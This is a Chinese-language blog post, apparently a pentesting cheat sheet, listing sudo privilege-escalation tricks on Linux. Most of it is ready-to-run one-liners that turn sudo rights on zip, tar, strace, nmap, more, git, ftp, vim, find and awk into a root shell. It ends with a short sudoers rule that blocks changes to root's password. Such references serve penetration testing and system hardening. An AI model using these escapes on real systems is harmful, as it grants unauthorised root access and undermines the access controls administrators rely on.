参考文献:http://zone.secevery.com/article/989
https://www.anquanke.com/post/id/158511
sudo概念:
sudo (Substitute User and Do 的简写)临时授权,可以临时让其以root 权限运行某个程序。在/etc/sudoers
中设置了可执行sudo指令
的用户。
各种提权操作
①su1
test@ubuntu:/tmp$ sudo su - root
②zip1
2
3
4test@ubuntu:/tmp$ sudo zip /tmp/1.zip /tmp/test -T --unzip-command="sh -c /bin/bash"#1.zip是随手添加进去的一个zip文件
#-T 表示测试1.zip的完整性
# --unzip-command 与-T 一起使用,可以指定自定义命令用于解压1.zip
#可以自定义用于解压test.zip 的的命令,自定义解压命令是以root权限执行的,指定为sh -c /bin/bash, 获取一个root权限的shell
③tar1
2test@ubuntu:/tmp$sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
#–checkpoint-action 选项是提权点,可以自定义需要执行的动作,指定为exec=/bin/bash,获取一个root权限的shell
④strace1
2test@ubuntu:/tmp$sudo strace -o/dev/null /bin/bash
#strace 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell
⑤nmap1
2test@ubuntu:/tmp$ echo "os.execute('/bin/sh')">/tmp/shell.nse
test@ubuntu:/tmp$ sudo nmap --script=/tmp/shell.nse
⑥more1
2test@ubuntu:/tmp$sudo more /etc/rsyslog.conf
然后加上!/bin/bash 即可获取root权限的shell
⑦git1
2test@ubuntu:/tmp$sudo git help status
然后加上!/bin/bash 即可获取root权限的shell
⑧ftp1
2test@ubuntu:/tmp$ sudo ftp
ftp> !/bin/bash
⑨vim1
test@ubuntu:/tmp$ sudo vim -c '!sh
⑩find1
2test@ubuntu:/tmp$ sudo find /bin/ -name ls -exec /bin/bash \;
#对于find 检索到的每一个结果,都执行/bin/bash, 是以root权限执行的
⑩①passwd1
2
3test@ubuntu:/tmp$ sudo passwd
Enter new UNIX password:
Retype new UNIX password:
⑩②awk1
test@ubuntu:/etc$ sudo awk 'BEGIN {system("/bin/bash")}'
防止有sudo权限的普通用户修改root用户的密码
在/etc/sudoers
添加:1
2test ALL=(root) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root
#用户账号,登陆来源的主机名,可切换的身份,可执行的命令